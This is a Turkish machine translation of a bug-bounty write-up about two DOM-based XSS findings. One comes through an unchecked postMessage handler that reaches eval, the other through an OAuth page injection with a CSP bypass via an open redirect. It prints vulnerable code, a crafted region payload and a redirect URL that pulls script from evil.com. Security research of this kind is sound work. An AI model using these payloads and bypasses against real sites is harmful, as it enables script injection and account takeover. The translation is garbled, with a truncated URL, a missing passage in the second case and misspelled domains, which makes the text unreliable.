**DOM Tabanlı XSS Güvenlik Açıkları ve Çözümleri**
DOM tabanlı bölgeler arası komut dosyası (XSS) güvenlik açıkları, sömürmek için en sevdiğim güvenlik açıklarından biri olarak sıralanır. Biraz bulmacayı çözmek gibi; Bazen bir köşe parçası alırsın `$.html()` diğer zamanlarda deneme ve hataya güvenmeniz gerekir. Son zamanlarda iki ilginç ile karşılaştım `postMessage` Bulmaca çözen kaşıntımı çizen böcek ödül programlarındaki Dom XSS güvenlik açıkları.
Not: Bazı ayrıntılar anonimleştirilmiştir.
`postMessage` son yıllarda ortak bir XSS hatası kaynağı olarak ortaya çıktı. Geliştiriciler istemci tarafı JavaScript çerçevelerine taşındıkça, klasik sunucu tarafı işlenmiş XSS güvenlik açıkları kayboldu. Bunun yerine, ön uçlar gibi eşzamansız iletişim akışları kullandı `postMessage` ve içeriği dinamik olarak değiştirecek websockets.
Bir göz kulak oluyorum `postMessage` Frans Rosén’le Aramalar `postmessage-tracker` alet. Ne zaman algıladığında sizi yararlı bir şekilde uyaran bir krom uzantısıdır. `postMessage` Kaynaktan batmaya yolu arayın ve numaralandırır. Ancak, `postMessage` Çağrılar bol, çoğu yanlış pozitif olma eğilimindedir ve manuel doğrulama gerektirir.
Şirket A’nın web sitesine göz atarken https://feedback.companya.com/, `postmessage-tracker` Bana bir iframe kaynaklı özellikle ilginç bir çağrı hakkında bilgi verdi https://abc.cloudfront.net/iframe_chat.html:
“`javascript
window.addEventListener(“message”, function(e) {
// …
if (e.data.type == ‘ChatSettings’) {
if (e.data.iframeChatSettings) {
window.settingsSync = e.data.iframeChatSettings;
// …
}
}
});
“`
`postMessage` İşleyici mesaj verilerinin olup olmadığını kontrol etti (`e.data`) bir `type` değer eşleştirme `ChatSettings`. Eğer öyleyse, ayarlanmış `window.settingsSync` ile `e.data.iframeChatSettings`. Herhangi bir orijin kontrolü gerçekleştirmedi – mesaj, herhangi bir saldırgan kontrollü alandan gönderilebildiğinden, böcek avcıları için her zaman iyi bir işaret.
Neydi `window.settingsSync` için kullanılır mı? Bu dizeyi gafta arayarak https://abc.cloudfront.net/third-pary.js keşfettim:
“`javascript
else if(window.settingsSync.environment == “production”){
var region = window.settingsSync.region;
var subdomain = region.split(“_”)[1]+’-‘+region.split(“_”)[0]
domain = ‘https://’+subdomain+’.settingsSync.com’
}
var url = domain+’/public/ext_data’
request.open(‘POST’, url, true);
request.setRequestHeader(“Content-type”, “application/x-www-form-urlencoded”);
request.onload = function () {
if (request.status == 200) {
var data = JSON.parse(this.response);
// …
window.settingsSync = data;
// …
var newScript = ‘https://abc.cloudfront.net/module-v’+window.settingsSync.versionNumber+’.js’;
loadScript(document, newScript);
}
}
“`
Eğer `window.settingsSync.environment == “production”` – `window.settingsSync.region` yeniden düzenlenecekti `subdomain` ve içine yerleştirildi `domain = ‘https://’+subdomain+’.settingsSync.com’`. Bu URL daha sonra bir sonrası istekte kullanılır. Yanıt bir JSON olarak ayrıştırılacak ve ayarlanacak `window.settingsSync`. Sonraki, `window.settingsSync.versionNumber` yeni bir JavaScript dosyası yükleyen bir URL oluşturmak için kullanıldı `var newScript=”https://abc.cloudfront.net/module-v”+window.settingsSync.versionNumber+’.js’`.
Tipik bir senaryoda, sayfa https://abc.cloudfront.net/module-v2.js yükler:
“`javascript
config = window.settingsSync.config;
// …
eval(“window.settingsSync.configs.”+config)
“`
Aha! `eval` dize argümanını JavaScript olarak yürüten basit bir lavabo idi. Kontrol edersem `config` Keyfi JavaScript’i yürütebilirim!
Ancak nasıl manipüle edebilirim `domain` yerine kötü niyetli sunucuma uymak için `*.settingsSync.com`? Kodu tekrar inceledim:
“`javascript
var region = window.settingsSync.region;
var subdomain = region.split(“_”)[1]+’-‘+region.split(“_”)[0]
domain = ‘https://’+subdomain+’.settingsSync.com’
“`
Yetersiz sanitasyon ve basit birleştirme nedeniyle, `window.settingsSync.region` gibi değer `.my.website/malicious.php?_bad` yeniden düzenlenecekti `https://bad-.my.website/malicious.php?.settingsSync.com`! Şimdi `domain` işaret etti `bad-.my.website` geçerli bir saldırgan kontrollü alan adı, sonrası isteğine kötü amaçlı bir yük sundu.
Yarattım `malicious.php` Menşe hedefinden yanıtları yakalayarak geçerli bir yanıt göndermek için sunucumda. Seçilen adını değiştirdim `config` XSS yüküm için.
B Şirketi’nin OAuth akışını keşfederken, OAuth yetkilendirme sayfası hakkında garip bir şey fark ettim. Tipik olarak, OAuth yetkilendirme sayfaları bir hesabı bağlamak için bir tür onay düğmesi sunar. Örneğin, GitLab’a giriş yapmak için Twitter’ın OAuth yetkilendirme sayfası:

B Şirketi sayfası aşağıdaki formatta bir URL kullandı: `https://accept.companyb/confirmation?domain=oauth.companyb.com&state=
Bu yanıt verileriyle oynayarak, `introduction` herhangi bir sanitasyon olmadan sayfaya enjekte edildi. GET isteğinin varış noktasını ve daha sonra yanıtı kontrol edebilseydim, bir XSS’ye neden olmak mümkün olurdu.
Bir sorun daha kaldı: CSP için `script-src` sadece izin verilen `self` veya `*.companyb.com` HTTPS için. Neyse ki, açık bir yönlendirdim `t.companyb.com` bu tür durumlar için kaydedildi. Savunmasız uç nokta, `url` parametre ancak parametrenin sona erdiğini doğrula `companyb.com`. Ancak, bir yeni hat karakterine izin verdi `%0A` tarayıcılar tarafından kesilecek olan alt alan bölümünde `http://t.companyb.com/redirect?url=http%3A%2F%2Fevil.com%0A.companyb.com%2F` Aslında https://evil.com/%0a.companbanb.com/ adresine yönlendirildi.
Açık bir yönlendirme oluşturmak için bu bypass’ı kullanarak, son XSS yükümü kaydettim `.companyb.com` Web sunucumun belge kökünde. Sonra bir senaryo etiketi enjekte ettim `src` CSP’yi geçen ancak sonunda nihai yüke yönlendiren açık yönlendirmeye işaret eder.
Her iki şirket de karmaşıklıkları ve sertleştirilmiş yürütme ortamlarını atlama yetenekleri nedeniyle XSS raporlarım için bonuslar verdi. Umarım düşünce süreçlerimi belgeleyerek DOM XSS bulmacalarını çözmek için birkaç ekstra ipucu da kazanabilirsiniz.
[Source link](https://spaceraccoon.dev/solving-dom-xss-puzzles/)